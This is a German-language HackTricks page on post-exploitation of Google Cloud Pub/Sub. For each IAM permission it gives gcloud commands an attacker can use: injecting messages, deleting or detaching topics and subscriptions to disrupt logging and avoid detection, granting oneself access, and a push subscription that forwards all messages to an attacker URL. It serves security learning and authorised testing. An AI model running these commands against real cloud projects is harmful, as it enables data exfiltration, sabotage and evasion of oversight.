GCP - Pub/Sub Post Exploitation

Erlernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Pub/Sub

Für weitere Informationen zu Pub/Sub besuchen Sie die folgende Seite:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

Veröffentlichen Sie eine Nachricht in einem Thema, um unerwartete Daten zu senden und unerwartete Funktionalitäten auszulösen oder Schwachstellen auszunutzen:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Nützlich, um zu verhindern, dass ein Abonnement Nachrichten empfängt, möglicherweise um Entdeckung zu vermeiden.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Nützlich, um zu verhindern, dass ein Abonnement Nachrichten empfängt, möglicherweise um Entdeckung zu vermeiden. Es ist möglich, ein Thema auch dann zu löschen, wenn Abonnements daran angehängt sind.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Verwenden Sie diese Berechtigung, um einige Einstellungen des Themas zu aktualisieren, um es zu stören, wie --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Geben Sie sich die Berechtigung, um einen der vorherigen Angriffe auszuführen.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Erhalten Sie alle Nachrichten in einem Webserver:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Erstellen Sie ein Abonnement und verwenden Sie es, um Nachrichten abzurufen:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Löschen eines Abonnements könnte nützlich sein, um ein Protokollverarbeitungssystem oder etwas Ähnliches zu stören:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Verwenden Sie diese Berechtigung, um einige Einstellungen zu aktualisieren, damit Nachrichten an einem Ort gespeichert werden, auf den Sie zugreifen können (URL, Big Query-Tabelle, Bucket) oder einfach nur, um es zu stören.

pubsub.subscriptions.setIamPolicy

Geben Sie sich die Berechtigungen, die erforderlich sind, um eine der zuvor kommentierten Angriffe auszuführen.

pubsub.schemas.delete

Löschen Sie ein Schema, um Nachrichten senden zu können, die nicht mit dem Schema übereinstimmen:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Fügen Sie einem Thema ein Schema hinzu, damit die Nachrichten nicht den Anforderungen entsprechen und das Thema dadurch gestört wird. Wenn keine Schemas vorhanden sind, müssen Sie möglicherweise eines erstellen.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

Geben Sie sich die Berechtigungen, die erforderlich sind, um eine der zuvor kommentierten Angriffe auszuführen.

pubsub.snapshots.create, pubsub.snapshots.seek

Dies erstellt einen Snapshot aller nicht bestätigten Nachrichten und setzt sie zurück in das Abonnement. Für einen Angreifer nicht sehr nützlich, aber hier ist es:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated